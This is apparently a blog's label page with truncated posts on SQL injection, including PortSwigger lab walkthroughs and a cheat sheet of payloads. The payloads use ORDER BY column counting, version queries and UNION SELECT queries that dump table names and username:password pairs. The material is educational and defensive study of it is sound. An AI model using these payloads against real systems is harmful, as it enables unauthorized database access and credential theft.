Posts

Showing posts with the label SQL Injections

SQL injection attack, listing the database contents on non-Oracle databases

Image
 Step 1: Go to the product category to ensure whether this is SQL injection vulnerable or not. If it shows ‘Internal Server error Or HTTP request 500 ‘ , it means this site is SQL injection vulnerable. Step2: To check the number of columns, we run the injection query: ‘ order by 1- - It responds to HTTP 200. That means the database has at least 1 column. ‘ order by 2- - It also responds to HTTP 200. That means the database has at least 2 columns. ‘ order by 3- - It responds to HTTP 500 & internal server errors. That means the database doesn’t contain 3 columns. It is noted that every time when we inject a vulnerable query on the category filter we have to encode the query by pressing Ctrl+U (URL encoding). Step3: To find out which database version it is, ‘UNION SELECT @@@version ,null - - It responds to 500HTTP bad requests, so we ensure that the site database doesn’t have Microsoft. version. Now you run the PostgreSQL query: Microsoft SELECT @@version Postgr...

SQL injection attack, querying the database type and version on Oracle(Portswigger Lab 07)

Image
Path: Product Category filter Goal: display the database version string Step1: Determine the number of columns after the category name, we run a query Query: ‘ order by 1 - - then, select all and press Cntrl+U for URL encoding Response 200 OK It shows that the status HTTP/2 200 OK. It means the server responds to the malicious query. It also means that the server has 1 column. step 2: Then, we check the same query for the 2 columns. Query: ‘ order by 2 - -   then, select all and press Cntrl+U for URL encoding It shows that the status HTTP/2 200 OK. It means the server responds to the malicious query. It also means that the server has 2 columns. Step 3: Then, we check the same query for the 3 columns. Query: ‘ order by 3 - - select all and press Cntrl+U for URL encoding 'It shows that the status HTTP/2 500 Internal Server Error. It means the server doesn’t respond to the query. It also means that the server doesn’t have 3 columns. Step 4: Determine the datatype...

SQL Based on Portswigger Lab 3

This type of UNION attack is done using the UNION keyword, which lets you execute an additional SELECT query and append the results to the original query. For example , if an application executes the following query containing the user input "Gifts": SELECT name, description FROM products WHERE category = 'Gifts' Then an attacker can submit the input: ' UNION SELECT username, password FROM users-- Blind SQL : This means that the application does not return the results of the SQL query or the details of any database errors within its responses. First-order SQL injection:   It arises when the application takes user input in an unsafe way. Second-Order SQL injection:  It arises when the application takes user input from an HTTP request and stores it for future use. Later when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. Second-order SQL injection often arises in situation...

Some Basics of SQLi

Image
Some of the common SQLi commands which are important to perform SQL injection attack: General :                  ' or '1' = '1                ' or '1' = '1’                ' or '1' = '1 -- -                ' or '1' = '1 #                1 UNION SELECT 1,2,3 For UNION Attack : 0 UNION SELECT 1,2,database() 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one' 0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users' 0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users In-Blind SQL :                ' OR 1=1;--                select * from users where username=''...